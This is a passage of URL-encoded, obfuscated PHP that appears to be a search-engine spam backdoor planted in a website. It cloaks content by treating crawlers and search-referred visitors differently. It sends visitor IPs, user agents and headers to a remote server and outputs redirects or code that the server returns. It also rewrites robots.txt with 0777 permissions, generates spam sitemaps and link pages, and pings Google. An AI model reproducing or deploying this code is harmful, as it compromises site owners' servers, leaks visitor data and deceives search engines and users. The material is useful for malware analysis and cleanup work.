C%20%27%23YandexWebmaster%23i%27%2C%27%23spider%23i%27%2C%20%27%23yahoo%23i%27%2C%20%27%23google%23i%27%2C%20%27%23altavista%23i%27%2C%27%23ask%23i%27%2C%27%23yahoo%21%5Cs%2Aslurp%23i%27%2C%27%23BingBot%23i%27%29%3Bif%20%28%21empty%28%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%20%26%26%20%28FALSE%20%21%3D%3D%20strpos%28preg_replace%28%24_t5p9dxvy%2C%20%27-NO-WAY-%27%2C%20%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%2C%20%27-NO-WAY-%27%29%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28empty%28%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%29%20%7C%7C%20empty%28%24_SERVER%5B%27HTTP_REFERER%27%5D%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22google%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yahoo%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22bing%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yandex%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20else%20%7B%24_c5mwz2zd%20%3D%200%3B%7Dreturn%20%24_c5mwz2zd%3B%7Dprivate%20static%20function%20_fwe3f%28%29%7B%24_osyh7011%20%3D%20array%28%29%3B%24_osyh7011%5B%27ip%27%5D%20%3D%20%24_SERVER%5B%27REMOTE_ADDR%27%5D%3B%24_osyh7011%5B%27qs%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_HOST%27%5D%20.%20%40%24_SERVER%5B%27REQUEST_URI%27%5D%3B%24_osyh7011%5B%27ua%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%3B%24_osyh7011%5B%27lang%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%3B%24_osyh7011%5B%27ref%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_REFERER%27%5D%3B%24_osyh7011%5B%27enc%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_ENCODING%27%5D%3B%24_osyh7011%5B%27acp%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT%27%5D%3B%24_osyh7011%5B%27char%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_CHARSET%27%5D%3B%24_osyh7011%5B%27conn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CONNECTION%27%5D%3Breturn%20%24_osyh7011%3B%7Dpublic%20function%20__construct%28%29%7B_er50gh%3A%3A%24_hz9omu24%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%3B_er50gh%3A%3A%24_h8dxh8hr%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_h8dxh8hr%29%3B%7Dstatic%20public%20function%20_hitc7%28%24_630ynqx3%29%7Bif%20%28strlen%28%24_630ynqx3%29%20%3C%204%29%20%7Breturn%20%22%22%3B%7D%24_mnxc71t0%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24_vrg12mxu%20%3D%20str_split%28%24_mnxc71t0%29%3B%24_vrg12mxu%20%3D%20array_flip%28%24_vrg12mxu%29%3B%24_46zwfcoo%20%3D%200%3B%24_basqs11f%20%3D%20%22%22%3B%24_630ynqx3%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24_630ynqx3%29%3Bdo%20%7B%24_05c41l6f%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_5hi4q1np%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_8rrutpb5%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_4sfs3zfo%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_zn4hwt6t%20%3D%20%28%24_05c41l6f%20%3C%3C%202%29%20%7C%20%28%24_5hi4q1np%20%3E%3E%204%29%3B%24_u14jby1p%20%3D%20%28%28%24_5hi4q1np%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24_8rrutpb5%20%3E%3E%202%29%3B%24_huor5vlk%20%3D%20%28%28%24_8rrutpb5%20%26%203%29%20%3C%3C%206%29%20%7C%20%24_4sfs3zfo%3B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_zn4hwt6t%29%3Bif%20%28%24_8rrutpb5%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_u14jby1p%29%3B%7Dif%20%28%24_4sfs3zfo%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_huor5vlk%29%3B%7D%7D%20while%20%28%24_46zwfcoo%20%3C%20strlen%28%24_630ynqx3%29%29%3Breturn%20%24_basqs11f%3B%7Dprivate%20function%20_nr51i%28%24_o4h21pkl%29%7B%24_swlicjbm%20%3D%20%22%22%3B%24_c2d4vsy0%20%3D%20%22%22%3B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3B%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%5B%22keyword%22%5D%20%3D%20%24_o4h21pkl%3B%24_osyh7011%5B%22tc%22%5D%20%3D%2010%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_6pfzvk6r%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_h8dxh8hr%2C%20%24_osyh7011%29%3Bif%20%28strpos%28%24_6pfzvk6r%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7D%24_swlicjbm%20%3D%20_cwqzsic%3A%3A_8dnv4%28%29%3B%24_c2d4vsy0%20%3D%20substr%28%24_6pfzvk6r%2C%20strlen%28_er50gh%3A%3A%24_wqq8o3s4%29%29%3B%24_c2d4vsy0%20%3D%20explode%28%22%5Cn%22%2C%20%24_c2d4vsy0%29%3Bshuffle%28%24_c2d4vsy0%29%3B%24_c2d4vsy0%20%3D%20implode%28%22%20%22%2C%20%24_c2d4vsy0%29%3Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7Dprivate%20function%20_8rfk6%28%29%7B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3Bif%20%28isset%28%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27cfconn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27xreal%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%29%29%20%7B%24_osyh7011%5B%27xforward%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%3B%7D%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_hz9omu24%2C%20%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20%40unserialize%28%24_hgj2uuv9%29%3Bif%20%28isset%28%24_hgj2uuv9%5B%22type%22%5D%29%20%26%26%20%24_hgj2uuv9%5B%22type%22%5D%20%3D%3D%20%22redir%22%29%20%7Bif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%29%20%7Bheader%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%3Breturn%20true%3B%7D%20elseif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%29%29%20%7Becho%20%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%3Breturn%20true%3B%7D%7Dreturn%20false%3B%7Dpublic%20function%20_ih05m%28%29%7Breturn%20_v6ya63%3A%3A_ih05m%28%29%20%26%26%20_cwqzsic%3A%3A_ih05m%28%29%20%26%26%20_xyxad4u%3A%3A_ih05m%28%29%3B%7Dstatic%20public%20function%20_rhb03%28%29%7Bif%20%28%28%21empty%28%24_SERVER%5B%27HTTPS%27%5D%29%20%26%26%20%24_SERVER%5B%27HTTPS%27%5D%20%21%3D%3D%20%27off%27%29%20%7C%7C%20%24_SERVER%5B%27SERVER_PORT%27%5D%20%3D%3D%20443%29%20%7Breturn%20true%3B%7Dreturn%20false%3B%7Dpublic%20static%20function%20_j6tk6%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3Bif%20%28strpos%28%24_eey0dnpa%2C%20%22.php%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_eey0dnpa%20%3D%20explode%28%22/%22%2C%20%24_eey0dnpa%29%3Barray_pop%28%24_eey0dnpa%29%3B%24_eey0dnpa%20%3D%20implode%28%22/%22%2C%20%24_eey0dnpa%29%20.%20%22/%22%3B%7Dreturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_eey0dnpa%29%3B%7Dpublic%20static%20function%20_5k4u7%28%29%7B%24_os8wh0zy%20%3D%20Array%28%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%20Edg/96.0.1054.62%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A95.0%29%20Gecko/20100101%20Firefox/95.0%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/14.1.2%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.3%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.45%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.93%20Safari/537.36%22%29%3B%24_zufuutph%20%3D%20array%28%22https%3A//www.google.com/ping%3Fsitemap%3D%22%20%3D%3E%20%22Sitemap%20Notification%20Received%22%2C%29%3B%24_pneb21v4%20%3D%20array%28%22Accept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/webp%2C%2A/%2A%3Bq%3D0.8%22%2C%22Accept-Language%3A%20en-US%2Cen%3Bq%3D0.5%22%2C%22User-Agent%3A%20%22%20.%20%24_os8wh0zy%5Barray_rand%28%24_os8wh0zy%29%5D%2C%29%3B%24_gwqcumc3%20%3D%20urlencode%28_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3Bforeach%20%28%24_zufuutph%20as%20%24_79wt4ge0%20%3D%3E%20%24_gvutrk0o%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3Bif%20%28empty%28%24_q6pxtlu6%29%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3B%7Dif%20%28empty%28%24_q6pxtlu6%29%29%20%7Breturn%20FALSE%3B%7Dif%20%28strpos%28%24_q6pxtlu6%2C%20%24_gvutrk0o%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20FALSE%3B%7D%7Dreturn%20TRUE%3B%7Dpublic%20static%20function%20_b4fbz%28%29%7B%24_qncl23kq%20%3D%20%22User-agent%3A%20%2A%5CnDisallow%3A%20%25s%5CnUser-agent%3A%20Bingbot%5CnUser-agent%3A%20Googlebot%5CnUser-agent%3A%20Slurp%5CnDisallow%3A%5CnSitemap%3A%20%25s%5Cn%22%3B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_rty56ot6%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3B%24_4uyggedu%20%3D%20sprintf%28%24_qncl23kq%2C%20%24_rty56ot6%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3B%24_pi8z9tuf%20%3D%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%22/robots.txt%22%3Bif%20%28%40file_exists%28%24_pi8z9tuf%29%29%20%7B%40chmod%28%24_pi8z9tuf%2C%200777%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3B%7D%20else%20%7B%24_ydp7fgmd%20%3D%20%22%22%3B%7Dif%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%3D%3D%3D%20FALSE%29%20%7B%40file_put_contents%28%24_pi8z9tuf%2C%20%24_ydp7fgmd%20.%20%22%5Cn%22%20.%20%24_4uyggedu%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3Breturn%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%21%3D%3D%20FALSE%29%3B%7Dreturn%20FALSE%3B%7Dpublic%20static%20function%20_q32v2%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_uf8aucwn%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3Breturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_uf8aucwn%29%3B%7Dpublic%20static%20function%20_ax1dg%28%24_o4h21pkl%29%7B%24_39whrurz%20%3D%20_er50gh%3A%3A_j6tk6%28%29%3B%24_20hqocwt%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3B%24_ugaslxbs%20%3D%20%22%22%3Bif%20%28substr%28%24_39whrurz%2C%20-1%29%20%3D%3D%20%22/%22%29%20%7Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%25s%22%2C%20%24_39whrurz%2C%20urlencode%28%24_o4h21pkl%29%29%3B%7D%20else%20%7Bif%20%28FALSE%20%26%26%20%28ord%28%24_20hqocwt%5B0%5D%29%20%25%202%29%29%20%7B%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_20hqocwt%2Curlencode%28str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%29%29%3B%7D%20else%20%7B%24_vgcwvf3x%20%3D%20array%28%22id%22%2C%20%22page%22%2C%20%22tag%22%29%3B%24_q1hwylv0%20%3D%20%24_vgcwvf3x%5Bord%28%24_20hqocwt%5B2%5D%29%20%25%20count%28%24_vgcwvf3x%29%5D%3Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_q1hwylv0%2Curlencode%28%24_o4h21pkl%29%29%3B%7D%7Dreturn%20%24_ugaslxbs%3B%7Dpublic%20static%20function%20_ncv5m%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7B%24_ttrm5byb%20%3D%20%22%22%3B%24_xeswna7e%20%3D%20rand%28%24_e0w6pl49%2C%20%24_78iw99aq%29%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20%24_xeswna7e%3B%20%24_46zwfcoo%2B%2B%29%20%7B%24_o4h21pkl%20%3D%20_xyxad4u%3A%3A_8dnv4%28%29%3B%24_ttrm5byb%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%2C%5Cn%22%2C_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%2C%20ucwords%28%24_o4h21pkl%29%29%3B%7Dreturn%20%24_ttrm5byb%3B%7Dpublic%20static%20function%20_0cgo1%28%24_3abbwecp%20%3D%20FALSE%29%7B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.xml%22%3B%24_0lzsv7dt%20%3D%20Array%28%29%3B%24_bipzycp4%20%3D%20%22%3C%3Fxml%20version%3D%5C%221.0%5C%22%20encoding%3D%5C%22UTF-8%5C%22%3F%22%20.%20%22%3E%5Cn%3Curlset%20xmlns%3D%5C%22http%3A//www.sitemaps.org/schemas/sitemap/0.9%5C%22%3E%5Cn%22%3B%24_pjuntwx6%20%3D%20%22%3C/urlset%3E%22%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_7rlo07lw%20%3D%20array%28%29%3Bif%20%28file_exists%28%24_ccv63u9v%29%29%20%7B%24_6pfzvk6r%20%3D%20simplexml_load_file%28%24_ccv63u9v%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_43ygqq1k%29%20%7B%24_7rlo07lw%5B%28string%29%24_43ygqq1k-%3Eloc%5D%20%3D%20%28string%29%24_43ygqq1k-%3Elastmod%3B%7D%7D%20else%20%7B%24_3abbwecp%20%3D%20FALSE%3B%7Dforeach%20%28%24_vrg12mxu%20as%20%24_1drrwf6g%29%20%7B%24_ugaslxbs%20%3D%20_er50gh%3A%3A_ax1dg%28%24_1drrwf6g%29%3Bif%20%28isset%28%24_7rlo07lw%5B%24_ugaslxbs%5D%29%29%20%7Bcontinue%3B%7Dif%20%28%24_3abbwecp%29%20%7B%24_v4bog9cs%20%3D%20time%28%29%3B%7D%20else%20%7B%24_v4bog9cs%20%3D%20time%28%29%20-%20%28crc32%28%24_1drrwf6g%29%20%25%20%2860%20%2A%2060%20%2A%2024%20%2A%2030%29%29%3B%7D%24_7rlo07lw%5B%24_ugaslxbs%5D%20%3D%20date%28%22Y-m-d%22%2C%20%24_v4bog9cs%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_1drrwf6g%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7Dif%20%28empty%28%24_0lzsv7dt%5B%24_4b6e33nc%5D%29%29%7B%24_0lzsv7dt%5B%24_4b6e33nc%5D%20%3D%20Array%28%29%3B%7D%24_0lzsv7dt%5B%24_4b6e33nc%5D%5B%24_1drrwf6g%5D%20%3D%20%24_ugaslxbs%3B%7D%24_yscyadm6%20%3D%20%22%22%3Bforeach%20%28%24_7rlo07lw%20as%20%24_79wt4ge0%20%3D%3E%20%24_v4bog9cs%29%20%7B%24_yscyadm6%20.%3D%20%22%3Curl%3E%5Cn%22%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Cloc%3E%25s%3C/loc%3E%5Cn%22%2C%20%24_79wt4ge0%29%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Clastmod%3E%25s%3C/lastmod%3E%5Cn%22%2C%20%24_v4bog9cs%29%3B%24_yscyadm6%20.%3D%20%22%3C/url%3E%5Cn%22%3B%7D%24_u4appmxp%20%3D%20%24_bipzycp4%20.%20%24_yscyadm6%20.%20%24_pjuntwx6%3B%24_gwqcumc3%20%3D%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20%3D%20sprintf%28%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticles%20%5C%22%25s%5C%22%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%2C%20%24_4b6e33nc%29%3B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.html%22%2C%20%22Sitemap%20Index%22%29%3Bforeach%20%28%24_g5psvgsj%20as%20%24_o4h21pkl%20%3D%3E%20%24_79wt4ge0%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20%24_79wt4ge0%2C%20%24_o4h21pkl%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3B%7D%24_u4appmxp%20%3D%20%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticle%20Alphabet%20Index%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.html%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Breturn%20%24_gwqcumc3%3B%7Dpublic%20function%20_lhhd6%28%29%7B%24_q1hwylv0%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3Bif%20%28%21%24this-%3E_ot7y0%28%29%29%20%7Bif%20%28%24this-%3E_8rfk6%28%29%29%20%7Breturn%3B%7D%7Dif%20%28%21empty%28%24_GET%29%29%20%7B%24_ttie0k4s%20%3D%20array_values%28%24_GET%29%3B%7D%20else%20%7B%24_ttie0k4s%20%3D%20explode%28%22/%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%29%3B%24_ttie0k4s%20%3D%20array_reverse%28%24_ttie0k4s%29%3B%7D%24_o4h21pkl%20%3D%20%22%22%3Bforeach%20%28%24_ttie0k4s%20as%20%24_9lyo90xb%29%20%7Bif%20%28substr_count%28%24_9lyo90xb%2C%20%22-%22%29%20%3E%200%29%20%7B%24_o4h21pkl%20%3D%20%24_9lyo90xb%3Bbreak%3B%7D%7D%24_o4h21pkl%20%3D%20str_replace%28%24_q1hwylv0%20.%20%22-%22%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%20.%20%24_q1hwylv0%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%2C%20%22%20%22%2C%20%24_o4h21pkl%29%3B%24_55x93fs4%20%3D%20array%28%22.html%22%2C%20%22.php%22%2C%20%22.aspx%22%29%3Bforeach%20%28%24_55x93fs4%20as%20%24_01tonnyo%29%20%7Bif%20%28strpos%28%24_o4h21pkl%2C%20%24_01tonnyo%29%20%3D%3D%3D%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%20%7B%24_o4h21pkl%20%3D%20substr%28%24_o4h21pkl%2C%200%2C%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%3B%7D%7D%24_o4h21pkl%20%3D%20urldecode%28%24_o4h21pkl%29%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28empty%28%24_o4h21pkl%29%29%20%7B%24_o4h21pkl%20%3D%20%24_265utrew%5B0%5D%3B%7D%20else%20if%20%28%21in_array%28%24_o4h21pkl%2C%20%24_265utrew%29%29%20%7B%24_2hzxofuj%20%3D%200%3Bforeach%20%28str_split%28%24_o4h21pkl%29%20as%20%24_zrffvwu8%29%20%7B%24_2hzxofuj%20%2B%3D%20ord%28%24_zrffvwu8%29%3B%7D%24_o4h21pkl%20%3D%20%24_265utrew%5B%24_2hzxofuj%20%25%20count%28%24_265utrew%29%5D%3B%7Dif%20%28%21empty%28%24_o4h21pkl%29%29%20%7B%24_hgj2uuv9%20%3D%20_v6ya63%3A%3A_q42pz%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_hgj2uuv9%29%29%20%7Blist%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%20%3D%20%24this-%3E_nr51i%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_c2d4vsy0%29%29%20%7Breturn%3B%7D%24_xnnqxgqw%20%3D%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_o4h21pkl%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7D%24_xnnqxgqw%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3EArticles%20%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%24_hgj2uuv9%20%3D%20new%20_v6ya63%28%24_swlicjbm%2C%20%